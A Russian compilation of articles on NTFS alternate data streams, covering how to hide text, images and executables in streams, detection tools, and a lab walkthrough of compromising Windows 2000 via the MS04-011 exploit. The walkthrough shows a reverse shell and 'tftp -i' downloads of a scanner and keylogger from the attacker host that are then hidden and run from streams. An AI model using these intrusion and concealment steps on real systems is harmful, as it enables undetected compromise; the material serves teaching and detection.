Каталог расширений

Популярные теги

3gp       avi       fb2       jpg       mp3       pdf      

Как создать поток к файлу


Альтернативные потоки данных в NTFS или создание секретных файлов : WEBCodius

Приветствую Вас, уважаемые читатели блога webcodius.ru. Файловая система NTFS обладает интересной возможностью поддержки альтернативных потоков данных (Alternate Data Stream, ADS). Технология подразумевает под собой, то, что каждый файл в файловой системе NTFS может иметь несколько потоков, в которых могут храниться данные. Проводник и большинство других приложений работают только со стандартным потоком и не могут получить данные их альтернативных. Таким образом с помощью технологии ADS можно скрывать данные, которые не удастся обнаружить стандартными способами.

Поддержка альтернативных потоков данных была добавлена в NTFS для совместимости с файловой системой HFS, использующейся на MacOS.

Немного теории

В файловой системе NTFS файлы имеют атрибуты. Один из атрибутов $DATA является атрибутом данных. В свою очередь атрибут $DATA может иметь несколько потоков. По умолчанию существует один основной поток $DATA:"", который называют неименованным. С этим потоком как раз и работает проводник windows. При желании к файлу можно добавить несколько именованных потоков (например $DATA:"potok1"), которые будут содержать различные не связанные между собой данные.

По умолчанию все данные, записываемые в файл, попадают в основной неименованный поток данных. И при открытии файла мы видим только основной поток. Альтернативные потоки NTFS, которые есть у файла, скрыты от пользователя и штатными средствами их не увидеть. Поэтому удалив файл с потоками, содержащими объемные данные, можно заметить, что места на устройстве хранения данных освободилось значительно больше, чем занимал файл по мнению того же Проводника. Альтернативными потоками часто пользуются вирусы, которые могут прописать себя в именованый поток какого-нибудь безобидного файла.

Для работы с альтернативными потоками можно использовать специальные программы, либо командную строку.

Как создать альтернативный поток NTFS

Создать альтернативный поток можно с помощью консольной команды echo.

Для начала откроем командную строку cmd.exe и с помощью команды echoсоздадим текстовый файл example.txt и запишем в него текст:

echo Главный поток>example.txt

Следующей командой запишем данные в альтернативный поток. Для этого после названия файла ставите двоеточие (:) и даете название потоку:

echo Альтернативный поток>example.txt:test

Теперь если открыть файл example.txt в любом тестовом редакторе, то будет виден только первый текст «Главный поток»:

Получить информацию содержащуюся в потоке можно с помощью команды more:

more <example.txt:test

Увидеть содержимое потока можно не только в командной строке. Например, открыть альтернативный поток в популярном текстовом редакторе Notepad++ можно с помощью следующей команды:

«C:\Program Files (x86)\Notepad++\notepad++.exe» example.txt:test

Обычный Блокнот может открывать только те потоки, название которых заканчивается на «.txt». Для примера, добавим к нашему файлу поток test.txt:

echo Альтернативный поток для блокнота>example.txt:test.txt

И откроем его в блокноте:

notepad.exe example.txt:test.txt

В альтернативные потоки, можно помещать не только текстовые данные, а абсолютно любые типы данных. Кроме того к любым типам файлов можно добавлять любые данные — к текстовым файлам добавлять видео, а к изображениям текстовую информацию.

Для примера добавим к нашему файлу поток с изображением img.jpg. Для этого воспользуемся командой type:

type img.jpg>example.txt:img.jpg

В результате мы получили обычный текстовый файл. Если открыть его обычным способом: двойным щелчком через проводник, то откроется текстовый редактор с содержимым главного потока:

Чтобы открыть содержащееся в альтернативном потоке изображение, например в Paint-е, достаточно воспользоваться командой:

mspaint example.txt:img.jpg

Что самое интересное альтернативные потоки не увеличивают видимый объем файла. Так если к текстовому файлу размером 1 Кб добавить видео размером 30 Гб, то проводник все равно покажет размер файла 1 Кб.

Также потоки можно добавлять для папок и даже для разделов жесткого диска. Делается все также как и для файлов:

echo Текст в папке>c:\test:hide.txt

И открываем в блокноте:

notepad c:\test:hide.txt

Так как наличие альтернативных потоков никак не отображается в проводнике и других файловых менеджерах, самый простой способ их обнаружить это воспользоваться командой dir /R:

Скрытие приложений в альтернативных потоках и их запуск

Поместить исполняемые файлы в альтернативные потоки также легко как и обычные файлы. Для примера возьмем наш файл example.txt и поместим приложение Блокнот (notepead.exe) в поток hideapp.exe:

type C:\Windows\system32\notepad.exe>example.txt:hideapp.exe

Чтобы запустить скрытый Блокнот используется следующая команда:

start .\example.txt:hideapp.exe

С помощью описанных приемов можно легко спрятать информацию от неподготовленных пользователей. Вообще применение альтернативных потоков данных ADS ограничено только вашей фантазией.

На этом все, до новых встреч!

Альтернативные потоки данных в NTFS или как спрятать блокнот / Хабр


Поддержка альтернативных потоков данных (AltDS) была добавлена в NTFS для совместимости с файловой системой HFS от Macintosh, которая использовала поток ресурсов для хранения иконок и другой информации о файле. Использование AltDS скрыто от пользователя и не доступно обычными средствами. Проводник и другие приложения работают со стандартным потоком и не могут читать данные из альтернативных. С помощью AltDS можно легко скрывать данные, которые не могут быть обнаружены стандартными проверками системы. Эта статья даст основную информацию о работе и определении AltDS.


Создать AltDS очень легко. Для этого воспользуемся командной строкой. Для начала создадим базовый файл, к которому будем прикреплять наши потоки.
C:\>echo Just a plan text file>sample.txt

C:\>type sample.txt
Just a plan text file

C:\\>


Далее мы воспользуемся двоеточием в качестве оператора, чтоб указать на то что будем использовать AltDS:
C:\\>echo You can't see me>sample.txt:secret.txt

Для просмотра содержимого можно использовать следующие команды:
C:\ more < sample.txt:secret.txt

или
C:\ notepad sample.txt:secret.txt

Если все работает хорошо то увидите текст: You can't see me, а при открытии из проводника данный текст виден не будет.Также AltDS можно прикрепить не только к файлу, но и к папке. Для этого создадим папку и прицепим к ней какой-нибудь текст:
C:\>md stuff
C:\>cd stuff
C:\stuff>echo Hide stuff in stuff>:hide.txt
C:\stuff>dir
Volume in drive C has no label.
Volume Serial Number is 40CC-B506Directory of C:\stuff
09/28/2004 10:19 AM <dir>.
09/28/2004 10:19 AM </dir><dir>…
0 File(s) 0 bytes2 Dir(s) 12,253,208,576 bytes free
C:\stuff>notepad :hide.txt

Теперь вы знаете, как блокнотом просмотреть и отредактировать прикрепленный AltDS, а так же как прикреплять его к файлам и папкам.
Скрыть приложения используя AltDS так же легко, как и тестовые файлы. Для начала снова создадим базовый файл:
C:\WINDOWS>echo Test>test.txt

Далее поместим наше приложение в поток, для примера я использовал notepad.exe:
C:\WINDOWS>type notepad.exe>test.txt:note.exe

Теперь убедимся что в нашем файле все также текст:
C:\WINDOWS>type test.txt
Test

А теперь самое интересное, запустим наше спрятанное приложение:
C:\WINDOWS>start .\test.txt:note.exe
C:\WINDOWS>

Так как данная статья является не полным переводом статьи взятой отсюда, то оформлено как простой топик. Дополнительные приемы можно найти по указанной ссылке.

UPD:

Утилиты по работе с AltDS (список взят из статьи по ссылке выше):

LADS — List Alternate Data Streams by Frank Heyne
www.heysoft.de/Frames/f_sw_la_en.htm

Streams.exe from SysInternals:
www.sysinternals.com/ntw2k/source/misc.shtml#streams

ScanADS command line tool:
www.kodeit.org/products/scanads/default.htm

ADS Spy GUI Scanner:
www.spywareinfo.com/~merijn/downloads.html

Crucial ADS GUI Scanner:
www.crucialsecurity.com/downloads.html

ADS Detector for Explorer:
www.codeproject.com/csharp/CsADSDetectorArticle.asp

Windows ports of Unix tools like CAT:
unxutils.sourceforge.net

UPD2: Программная работа с потоками

Как спрятать файл в Альтернативный поток данных в NTFS

Здравствуйте, уважаемые компьютерщики и специалисты в области ИБ. Сегодня я расскажу об одной незамысловатой особенности файловой системы NTFS, которая может быть полезна вам, дабы раскрыть коварный план злоумышленника, намеревающегося сокрыть важную информацию.

Думаю, что никто не станет спорить с тем, что файловая система NTFS сейчас прочно заняла первое место среди пользователей операционных систем семейства Windows, вытеснив такие файловые системы как FAT16 и FAT32 (которые в общем-то схожи), а файловая система exFAT, несмотря на значительно более проработанную концепцию, всё ещё не дотягивает по популярности до NTFS.

Откуда пошли альтернативные потоки данных?

Ключевым термином NTFS является MFT – Master File Table. Каждая запись MFT описывает конкретный файл и состоит из набора фиксированных атрибутов. Каждый атрибут содержит список полей, содержащих определённые значения.

Атрибуты бывают такими:

  • $10 – $STANDART_INFORMATION
  • $30 – $FILE_NAME
  • $80 – $DATA

Вообще их довольно таки много, но важно понимать, что каждая запись MFT представляет собой набор этих атрибутов.

Вот скриншот из программы DiskExplorer от Runtime’s (создатели GetDataBack). Я открыл произвольный файл (LOG.old) и слева отобразился перечень атрибутов. Здесь есть $10 – $STANDART_INFORMATION – стандартная информация. В этом атрибуте указываются временные метки файла и атрибуты DOS.

Атрибут $30 – $FILE_NAME – содержит имя файла. Если длина имени больше 8 символов (стандарт 8.3), то создаётся дополнительный атрибут $30 как для длинного имени, так и для короткого. Всё просто.

А вот другой скрин, на котором я отобразил атрибут $80 – $DATA, то есть содержимое файла:

Помните, я сказал, что если имя длинное, то у файла два атрибута $30, для каждого из имён? Это ключевой момент. Мы почти подошли к сути вопроса. Вообще у файла может быть несколько однотипных атрибутов, никто не запрещает. Так вот, а что будет, если у файла будет несколько атрибутов $DATA? То есть непосредственно содержимого. Да, такая ситуация возможна!…

Это и называется альтернативным потоком данных. Единственная особенность – должен быть атрибут $DATA по умолчанию (он задаётся без имени), остальные атрибуты $DATA должны быть поименованы, чтобы к ним можно было обратиться.

Как создать альтернативный поток данных?

Из доступных способов – командная строка. Для обращения к дополнительным атрибутам $DATA используется суффикс <имя файла>:<имя потока>. Например, если мы хотим поместить в текстовый файлик 1.txt содержимое файла sekret.rar в альтернативный поток, то должны выполнить команду:

type sekret.rar > 1.txt:litl-admin.ru

Данная команда создаст новый атрибут $DATA с именем litl-admin.ru (как мило) и перенаправит в него содержимое архива sekret.rar. Проверим?

С виду размер файла 1.txt не изменился. Я написал туда произвольный фрагмент данных. Посмотрим его содержимое блокнотом:

Ничего необычного не видно. А теперь найдём-ка его MFT-запись.

Видите второй атрибут $80 с именем litl-admin.ru? Это и есть наш “скрытый” альтернативный поток данных. На самом деле таких потоков у файла может быть огромное количество. Но не нужно думать, что эти возможности используются исключительно злоумышленниками в корыстных интересах.

Для чего можно использовать скрытые потоки?

По секрету скажу, что в вашей системе скорее всего используется огромное количество файлов со скрытыми потоками. Наиболее популярные варианты использования – это пометки файлов, скачанных с недоверенных источников, пометки файлов, проверенных антивирусами, иные метки, позволяющие каким-то способом “подписать” файл. Замечали, что иногда, при открытии файла, скачанного с Интернета, появляется окно с предупреждением, что файл получен из Интернета и относиться к нему нужно осторожно? Как думаете, каким способом помечен файл?

Как идентифицировать скрытые потоки?

Вместе с тем, существует способ массово просканировать каталог и вывести все альтернативные потоки данных в имеющихся файлах. Для этого существует бесплатная программка AlternativeStreamView от Nirsoft.

Работа с ней очень проста. Запускаете, выбираете каталог для сканирования и получаете результаты:

При помощи неё же можно извлечь поток в отдельный файл:

Расширение файла при этом, правда, будет утрачено, зато можно определить тип по содержимому:

Обратите внимание на то, что размер файлов совпадает – это и есть содержимое потока:

Что я имел ввиду, когда говорил о том, чтобы определить тип файла по содержимому? А вот что:

У многих файлов есть конкретная сигнатура. Для архивов WinRAR это “Rar!” Встретили – меняем расширение на “.rar” и получаем рабочий архив.

Пользуйтесь!

Друзья! Вступайте в нашу группу Вконтакте, чтобы не пропустить новые статьи! Хотите сказать спасибо? Ставьте Like, делайте репост! Это лучшая награда для меня от вас! Так я узнаю о том, что статьи подобного рода вам интересны и пишу чаще и с большим энтузиазмом!

Также, подписывайтесь на наш канал в YouTube! Видео выкладываются весьма регулярно и будет здорово увидеть что-то одним из первых!

Дополнительные потоки данных в NTFS №1 — «Хакер»

Цель этой статьи объяснить смысл
дополнительных потоков данных (alternate data streams)
в операционных системах Windows,
продемонстрировать как создать их и
скомпрометировать машину, как найти
скрытые файлы используя общедоступные
утилиты. Первым шагом нужно будет осознать
смысл ADS и то, какую угрозу они несут, затем
посмотрим как они используются для взлома
ну и наконец затем рассмотрим инструменты
для обнаружения активности и то, как
остановить дальнейшую незаконную работу с
ними.

Зачем?

Дополнительные потоки данных появились в
Windows вместе с NTFS. На самом деле, насколько я
понимаю, особого смысла в них не было - они
были сделаны для совместимости с HFS, старой
файловой системой Macintosh - Hierarchical File System. Дело
в том, что эта файловая система использует
как ветвь данных, так и ветвь ресурсов для
хранения контента. Ветвь данных,
соответственно, ответственна за содержание
документа, а ветвь ресурсов за
идентификацию файла - его типа и прочих
данных. К нынешнему времени о существовании
дополнительных потоков из обычных юзеров
мало кто знает. Однако, в мире компьютерной
безопасности они получили определенное
распространение. Например злобные хакеры
используют ADS для хранения файлов на
взломанных компьютерах, так же они иногда
применяются вирусами и другим malware. Дело
ведь все в том, что эти потоки не
просматриваются обычными методами, тем же
Проводником или через командную строку. Чем
интересны эти потоки? А тем, что в случае
расследования взлома не всегда обращают
внимание на них, к тому же не все антивирусы
по умолчанию просматривают потоки в
поисках вредоносного софта.

К делу

Для того, что бы понять реальную опасность
ADS лучше продемонстрируем работу с ними. 
В примере мы с помощью Metasploit Framework проникнем
на машину. Для этого используем уязвимость
MS04-011 (lsass). Затем при помощи TFTP зальем файлы,
которые и поместим в дополнительные потоки
данных. Как только это будет закончено на
удаленной машине запусти из командной
строки сканер, который просканирует сеть на
наличие других машин. Обратите внимание,
что авторы Metasploit Framework снабдили свое
творение сигнатурой METASPLOIT, дабы создатели
защитных программ могли определять пакет,
исходящий от MF. Обратите внимание на пакет,
исходящий от атакующего:

Тут 192.168.1.102 компьютер атакующего на
котором стоит Metasploit Framework, а 192.168.1.101 -
уязвимый комп с Win2K Prof. В данном случае Ось
поставлена без патчей и сервиспаков,
исключительно для демонстрационных целей
:). Обратите внимание, что сами по себе ADS не
слишком полезны, они, естественно, радуют
нападающего только в том случае, если есть
доступ к машине, системная уязвимость в
операционной системе. В настоящей сети вы
вряд ли найдете непропатченную W2K, так что
придется искать другие принципы
проникновения.

Ниже мы видим, что атака была успешной и на
атакующей машине открыт реверсивный шелл,
отданный жертвой. По умолчанию для этой
уязвимости в Metasploit используется порт 4321,
однако его можно изменить:

Проникнув на машину надо передать туда
файлы. Для этого используем TFTP, в данном
случае получаем ipeye.exe.

Таким же образом закачиваем psexec.exe, pslist.exe и
klogger.exe. Сделаем листинг директории C:\Compaq\,
куда все и поклалось:

Запихнем теперь ipeye.exe с поток,
ассоциированный с существующим файлом
test_file.

Затем то же самое можно проделать и стремя
другими необходимыми для работы файлами.
Обратите внимание, что альтернативный
поток можно организовать не только для
файлов, но и для каталогов, того же C:\ к
примеру.  Запустим сканер, о котором мы
говорили в начале, ipeye.exe, на зараженном
компьютере:

c:\Compaq\test_file:ipeye.exe

(Продолжение следует)

Альтернативные потоки данных NTFS

Цель этой статьи – описание альтернативных потоков данных в Microsoft Windows, демонстрация того, как их можно создать, скомпрометировав машину, используя Metasploit Framework и как можно обнаружить с помощью свободно распространяемых утилит.

Дон Паркер, перевод Владимир Куксенок

1. Введение

Цель этой статьи – описание альтернативных потоков данных в Microsoft Windows, демонстрация того, как их можно создать, скомпрометировав машину, используя Metasploit Framework и как можно обнаружить с помощью свободно распространяемых утилит.

Для начала мы определимся в том, что из себя представляют альтернативные потоки данных и какую угрозу они могут представлять для вашей организации. Затем мы рассмотрим пример компрометации удаленной машины с помощью эксплойта, предоставляющего доступ к командному интерпретатору и позволяющего скрывать файлы на компьютере жертвы. После этого, мы рассмотрим некоторые свободно распространяемые утилиты, которые могут быть использованы для определения и предотвращения такой активности. Начнем.

2. Что такое альтернативные потоки данных

Альтернативные потоки данных появились в ОС Windows NT с введением файловой системы NTFS. Что же такое альтернативные потоки данных? В сущности, они были созданы для обеспечения совместимости в HFS (устаревшей файловой системой Macintosh). Суть организации HFS состоит в раздвоение файла на файл данных и файл ресурсов. В файле данных находится содержимое документа, а в файле ресурсов - идентификатор типа файла и другие свойства.

На сегодняшний день не всем известно о существовании альтернативных потоков данных. Однако какое-то время они использовались некоторыми не лучшими представителями сообщества специалистов безопасности. Было отмечено увеличение использования этих потоков злонамеренными хакерами, желающими спрятать свои файлы сразу после компрометации компьютера. Кроме этого, было замечено, что некоторые вирусы и другие типы злонамеренного ПО также используют альтернативные потоки данных. Проблема в том, что эти потоки нельзя просмотреть, используя стандартные методы, через командную строку или с помощью Windows Explorer.

Как же обнаружить злонамеренное использование альтернативных потоков данных? Необходимо следить за повышением использования таких потоков. Даже если учесть, что корпоративный объект хорошо защищен, нужно иметь в виду, что не все антивирусные средства в конфигурации по умолчанию проверяют альтернативные потоки данных. В настоящее время большая часть антивирусных продуктов находит эти потоки, но только после дополнительной настройки.

3. Пример использования альтернативных потоков данных

Чтобы действительно осознать опасность, которую представляют альтернативные потоки данных, нужно увидеть практическую демонстрацию их злонамеренного использования. К концу этой статьи читатель, с помощью Metasploit Framework, получит доступ к удаленному компьютеру с правами системы. В действительности, в соответствии с целями статьи, это будет не реальная машина, а тестовая, подготовленная специально для наших исследований.

Однако использование специального тестового компьютера никак не повлияет на результат. Чтобы доказать возможность атаки, не нужно атаковать реальный компьютер через Интернет.

В данном примере мы проникнем в компьютер, используя Metasploit Framework. Эксплойт, который я буду использовать основан на уязвимости MS04-011, также известной в Metasploit как “lsass overflow”. Для загрузки набора файлов, который мы хотим спрятать, будем использовать протокол TFTP. Затем эти файлы будут помещены в альтернативные потоки данных существующих файлов, найденных на уязвимом компьютере, что ясно продемонстрирует возможность их злонамеренного использования.

Как только эти действия будут завершены, сканер, загруженный на компьютер, будет удаленно запущен и начнется поиск других уязвимых машин во внутренней сети. H. D. Moore, один из соавторов Metasploit Framework, внедрил в эксплойт ASCII строку “METASPLOIT”. Можно предположить, что это было сделано для того, чтобы производители IDS смогли создать сигнатуру для его утилиты. Взгляните на пакет, отправленный с атакующего компьютера, показанный ниже, в котором можно заметить эту строку.


 10:38:49.665427 IP (tos 0x0, ttl 64, id 2924, offset 0, flags [DF], 
 length: 152) 192.168.1.102.32776 > 192.168.1.101.139: P [tcp sum ok] 
 771689123:771689223(100) ack 3530170662 win 5840 <nop,nop,timestamp 
 1376570 6356> NBT Packet
 0x0000 4500 0098 0b6c 4000 4006 aad8 c0a8 0166 E....l@[email protected]
 0x0010 c0a8 0165 8008 008b 2dff 0aa3 d26a 2126 ...e....-....j!&
 0x0020 8018 16d0 d4ea 0000 0101 080a 0015 013a ...............:
 0x0030 0000 18d4 0000 0060 ff53 4d42 7200 0000 .......`.SMBr...
 0x0040 0018 0120 0000 0000 0000 0000 0000 0000 ................
 0x0050 0000 c912 0000 18d9 003d 0002 4d45 5441 .........=..META
 0x0060 5350 4c4f 4954 0002 4c41 4e4d 414e 312e SPLOIT..LANMAN1.
 0x0070 3000 024c 4d31 2e32 5830 3032 0002 4e54 0..LM1.2X002..NT
 0x0080 204c 414e 4d41 4e20 312e 3000 024e 5420 .LANMAN.1.0..NT.
 0x0090 4c4d 2030 2e31 3200 LM.0.12.
 
 
Обратите внимание, 192.168.1.102 – атакующий компьютер, использующий Metasploit Framework, а 192.168.1.101 – компьютер жертвы, на котором установлена ОС Windows 2000 Professional. Инсталляция W2K свежая, без каких-либо исправлений или пакетов обновлений, используется только для демонстрационных целей. Имейте в виду, что для злонамеренного использования альтернативных потоков данных, в первую очередь нужно найти машину с уязвимостью, годной к использованию. Не обновленная Windows 2000 в данном случае используется только для демонстрации, в реальной жизни для реализации атаки на обновленную систему потребовался бы другой эксплойт.

Ниже мы можем увидеть, что атака прошла успешно. Наша атакующая машина получила доступ к командной строке на компьютере жертвы. Порт 4321 – порт, используемый по умолчанию для lsass эксплойта в Metasploit. При желании он может быть изменен.


 10:38:50.071766 IP (tos 0x0, ttl 128, id 85, offset 0, flags [DF], 
 length: 82) 192.168.1.101.1030 > 192.168.1.102.4321: P [tcp sum ok] 
 3530253951:3530253993(42) ack 758421802 win 17520
 0x0000 4500 0052 0055 4000 8006 7635 c0a8 0165 [email protected]
 0x0010 c0a8 0166 0406 10e1 d26b 667f 2d34 992a ...f.....kf.-4.*
 0x0020 5018 4470 095f 0000 4d69 6372 6f73 6f66 P.Dp._..Microsof
 0x0030 7420 5769 6e64 6f77 7320 3230 3030 205b t.Windows.2000.[
 0x0040 5665 7273 696f 6e20 352e 3030 2e32 3139 Version.5.00.219
 0x0050 355d 5]
 
 10:38:50.071943 IP (tos 0x0, ttl 128, id 86, offset 0, flags [DF], 
 length: 83) 192.168.1.101.1030 > 192.168.1.102.4321: P [tcp sum ok] 
 3530253993:3530254036(43) ack 758421802 win 17520
 0x0000 4500 0053 0056 4000 8006 7633 c0a8 0165 [email protected]
 0x0010 c0a8 0166 0406 10e1 d26b 66a9 2d34 992a ...f.....kf.-4.*
 0x0020 5018 4470 89be 0000 0d0a 2843 2920 436f P.Dp......(C).Co
 0x0030 7079 7269 6768 7420 3139 3835 2d32 3030 pyright.1985-200
 0x0040 3020 4d69 6372 6f73 6f66 7420 436f 7270 0.Microsoft.Corp
 0x0050 2e0d 0a ...
 
 10:38:50.072162 IP (tos 0x0, ttl 128, id 88, offset 0, flags [DF], 
 length: 58) 192.168.1.101.1030 > 192.168.1.102.4321: P [tcp sum ok] 
 3530254038:3530254056(18) ack 758421802 win 17520
 0x0000 4500 003a 0058 4000 8006 764a c0a8 0165 E..:[email protected]
 0x0010 c0a8 0166 0406 10e1 d26b 66d6 2d34 992a ...f.....kf.-4.*
 0x0020 5018 4470 b1b4 0000 433a 5c57 494e 4e54 P.Dp....C:\WINNT
 0x0030 5c73 7973 7465 6d33 323e \system32>
 
Теперь по протоколу TFTP начинается передача файлов от атакующего на скомпрометированный компьютер. Обратите внимание на команду, которая была передана командному интерпретатору, приказывающую жертве загрузить файл ipeye.exe.

 10:40:50.631410 IP (tos 0x0, ttl 64, id 39780, offset 0, flags [DF], 
 length: 76) 192.168.1.102.4321 > 192.168.1.101.1030: P [tcp sum ok] 
 758421827:758421863(36) ack 3530255290 win 6432
 0x0000 4500 004c 9b64 4000 4006 1b2c c0a8 0166 E..L.d@.@..,...f
 0x0010 c0a8 0165 10e1 0406 2d34 9943 d26b 6bba ...e....-4.C.kk.
 0x0020 5018 1920 8b78 0000 7466 7470 202d 6920 P....x..tftp.-i.
 0x0030 3139 322e 3136 382e 312e 3130 3220 4745 192.168.1.102.GE
 0x0040 5420 6970 6579 652e 6578 650a T.ipeye.exe.
 
 10:40:50.631981 IP (tos 0x0, ttl 128, id 123, offset 0, flags [DF], 
 length: 76) 192.168.1.101.1030 > 192.168.1.102.4321: P [tcp sum ok] 
 3530255290:3530255326(36) ack 758421863 win 17459
 0x0000 4500 004c 007b 4000 8006 7615 c0a8 0165 E..L.{@...v....e
 0x0010 c0a8 0166 0406 10e1 d26b 6bba 2d34 9967 ...f.....kk.-4.g
 0x0020 5018 4433 6041 0000 7466 7470 202d 6920 P.D3`A..tftp.-i.
 0x0030 3139 322e 3136 382e 312e 3130 3220 4745 192.168.1.102.GE
 0x0040 5420 6970 6579 652e 6578 650a T.ipeye.exe.
 
Загрузка файлов будет продолжаться до тех пор, пока мы не получим 4 файла: ipeye.exe, psexec.exe, pslist.exe, и klogger.exe. Для краткости я не стал приводить последовательную передачу пакетов. Ниже показано содержимое директории, содержащей загруженные файлы, на компьютере жертвы после завершения передачи. Имя этой директории - c:\compaq\.

 10:43:11.263385 IP (tos 0x0, ttl 128, id 735, offset 0, flags [DF], 
 length: 543) 192.168.1.101.1030 > 192.168.1.102.4321: P [tcp sum ok] 
 3530256009:3530256512(503) ack 758422019 win 17303
 0x0000 4500 021f 02df 4000 8006 71de c0a8 0165 [email protected]
 0x0010 c0a8 0166 0406 10e1 d26b 6e89 2d34 9a03 ...f.....kn.-4..
 0x0020 5018 4397 e869 0000 0d0a 3132 2f30 352f P.C..i....12/05/
 0x0030 3230 3034 2020 3039 3a33 3061 2020 2020 2004..09:30a....
 0x0040 2020 2020 2020 2020 2020 3332 2c37 3638 ..........32,768
 0x0050 2069 7065 7965 2e65 7865 0d0a 3132 2f30 .ipeye.exe..12/0
 0x0060 352f 3230 3034 2020 3039 3a33 3261 2020 5/2004..09:32a..
 0x0070 2020 2020 2020 2020 2020 2020 3332 2c37 ............32,7
 0x0080 3638 206b 6c6f 6767 6572 2e65 7865 0d0a 68.klogger.exe..
 0x0090 3132 2f30 352f 3230 3034 2020 3039 3a33 12/05/2004..09:3
 0x00a0 3161 2020 2020 2020 2020 2020 2020 2031 1a.............1
 0x00b0 3433 2c33 3630 2070 7365 7865 632e 6578 43,360.psexec.ex
 0x00c0 650d 0a31 322f 3035 2f32 3030 3420 2030 e..12/05/2004..0
 0x00d0 393a 3331 6120 2020 2020 2020 2020 2020 9:31a...........
 0x00e0 2020 2038 362c 3031 3620 7073 6c69 7374 ...86,016.pslist
 0x00f0 2e65 7865 0d0a 3132 2f30 342f 3230 3034 .exe..12/04/2004
 0x0100 2020 3032 3a31 3270 2020 2020 2020 3c44 ..02:12p......<D
 0x0110 4952 3e20 2020 2020 2020 2020 2053 5032 IR>..........SP2
 0x0120 3132 3633 0d0a 3132 2f30 352f 3230 3034 1263..12/05/2004
 0x0130 2020 3039 3a30 3161 2020 2020 2020 2020 ..09:01a........
 0x0140 2020 2020 2020 2020 2020 3132 2074 6573 ..........12.tes
 0x0150 745f 6669 6c65 0d0a 3132 2f30 352f 3230 t_file..12/05/20
 0x0160 3034 2020 3039 3a30 3261 2020 2020 2020 04..09:02a......
 0x0170 2020 2020 2020 2020 2020 2020 3133 2074 ............13.t
 0x0180 6573 745f 6669 6c65 320d 0a31 322f 3035 est_file2..12/05
 0x0190 2f32 3030 3420 2030 393a 3032 6120 2020 /2004..09:02a...
 0x01a0 2020 2020 2020 2020 2020 2020 2020 2031 ...............1
 0x01b0 3320 7465 7374 5f66 696c 6533 0d0a 3132 3.test_file3..12
 0x01c0 2f30 352f 3230 3034 2020 3039 3a30 3361 /05/2004..09:03a
 0x01d0 2020 2020 2020 2020 2020 2020 2020 2020 ................
 0x01e0 2020 3133 2074 6573 745f 6669 6c65 340d ..13.test_file4.
 0x01f0 0a31 322f 3035 2f32 3030 3420 2030 393a .12/05/2004..09:
 0x0200 3332 6120 2020 2020 2020 2020 2020 2020 32a.............
 0x0210 2020 2020 2020 3020 5446 5450 3738 30 ......0.TFTP780
 
Ниже мы видим, как атакующий удаляет файл “tftp780” из этой директории. Это доказывает возможность удаления файлов.

 10:45:56.901024 IP (tos 0x0, ttl 64, id 39855, offset 0, flags [DF], 
 length: 55) 192.168.1.102.4321 > 192.168.1.101.1030: P [tcp sum ok] 
 758422044:758422059(15) ack 3530258111 win 10720
 0x0000 4500 0037 9baf 4000 4006 1af6 c0a8 0166 E..7..@[email protected]
 0x0010 c0a8 0165 10e1 0406 2d34 9a1c d26b 76bf ...e....-4...kv.
 0x0020 5018 29e0 a342 0000 6465 6c20 2f46 2074 P.)..B..del./F.t
 0x0030 6674 7037 3830 0a ftp780.
 
Теперь атакующий помещает исполняемый файл ipeye.exe в альтернативный поток данных, ассоциированный с существующим файлом test_file. Команда, осуществляющая эти действия, имеет следующий синтаксис:

 type ipeye.exe > test_file:ipeye.exe
 
 10:47:44.391095 IP (tos 0x0, ttl 64, id 39873, offset 0, flags [DF], 
 length: 77) 192.168.1.102.4321 > 192.168.1.101.1030: P [tcp sum ok] 
 758422063:758422100(37) ack 3530258892 win 11792
 0x0000 4500 004d 9bc1 4000 4006 1ace c0a8 0166 E..M..@[email protected]
 0x0010 c0a8 0165 10e1 0406 2d34 9a2f d26b 79cc ...e....-4./.ky.
 0x0020 5018 2e10 7cc8 0000 7479 7065 2069 7065 P...|...type.ipe
 0x0030 7965 2e65 7865 203e 2074 6573 745f 6669 ye.exe.>.test_fi
 0x0040 6c65 3a69 7065 7965 2e65 7865 0a le:ipeye.exe.
 
 10:47:44.391676 IP (tos 0x0, ttl 128, id 789, offset 0, flags [DF], 
 length: 77) 192.168.1.101.1030 > 192.168.1.102.4321: P [tcp sum ok] 
 3530258892:3530258929(37) ack 758422100 win 17222
 0x0000 4500 004d 0315 4000 8006 737a c0a8 0165 [email protected]
 0x0010 c0a8 0166 0406 10e1 d26b 79cc 2d34 9a54 ...f.....ky.-4.T
 0x0020 5018 4346 676d 0000 7479 7065 2069 7065 P.CFgm..type.ipe
 0x0030 7965 2e65 7865 203e 2074 6573 745f 6669 ye.exe.>.test_fi
 0x0040 6c65 3a69 7065 7965 2e65 7865 0a le:ipeye.exe.
 
Процесс скрытия оставшихся трех файлов, загруженных на скомпрометированный хост, закончен. Они скопированы в альтернативные потоки данных существующего файла на компьютере жертвы. Точно также вы можете скопировать файл в поток каталога, например C:\.

Затем мы запустим psexec.exe на компьютере жертвы, который в свою очередь запустит сканер ipeye.exe, находящийся в альтернативном потоке данных c:\Compaq\test_file:ipeye.exe. Заметьте, я использую копию psexec.exe, находящуюся не в потоке, а в самой директории.

Существует много способов запуска программы на Win32 компьютере. Один из вариантов создания процесса – использование команды “start”, что является простым решением, не оставляющим следов на машине жертвы. Некоторые хакеры вместо этого для запуска программы могут использовать bat-файл или другие средства. Фактически алгоритм работы хакеры не всегда может быть известен, и мы должны помнить – не все хакеры одинаковы. Подозрительные действия многих хакеров можно изучить, используя honeynet. Причина, по которой psexec.exe был выбран для этой статьи, очень проста – набор свободно распространяемых утилит, предоставляемых Sysinternals, часто используется хакерами. Поэтому для придания реализма статье я решил использовать именно их. Итак, продвинемся дальше и рассмотрим нижеприведенный пакет.

 11:52:56.535800 IP (tos 0x0, ttl 64, id 40473, offset 0, flags [DF], 
 length: 107) 192.168.1.102.4321 > 192.168.1.101.1030: P [tcp sum ok] 
 758423689:758423756(67) ack 3530302032 win 58400
 0x0000 4500 006b 9e19 4000 4006 1858 c0a8 0166 E..k..@[email protected]
 0x0010 c0a8 0165 10e1 0406 2d34 a089 d26c 2250 ...e....-4...l"P
 0x0020 5018 e420 55ab 0000 7073 6578 6563 2e65 P...U...psexec.e
 0x0030 7865 2063 3a5c 636f 6d70 6171 5c74 6573 xe.c:\compaq\tes
 0x0040 745f 6669 6c65 3a69 7065 7965 2e65 7865 t_file:ipeye.exe
 0x0050 2031 3932 2e31 3638 2e31 2e31 3030 202d .192.168.1.100.-
 0x0060 7379 6e20 2d70 2031 3339 0a syn.-p.139.
 
 
Этот пакет является результатом исполнения следующей команды:

 psexec.exe c:\compaq\test_file:ipeye.exe 192.168.1.100 -syn -p 139
 
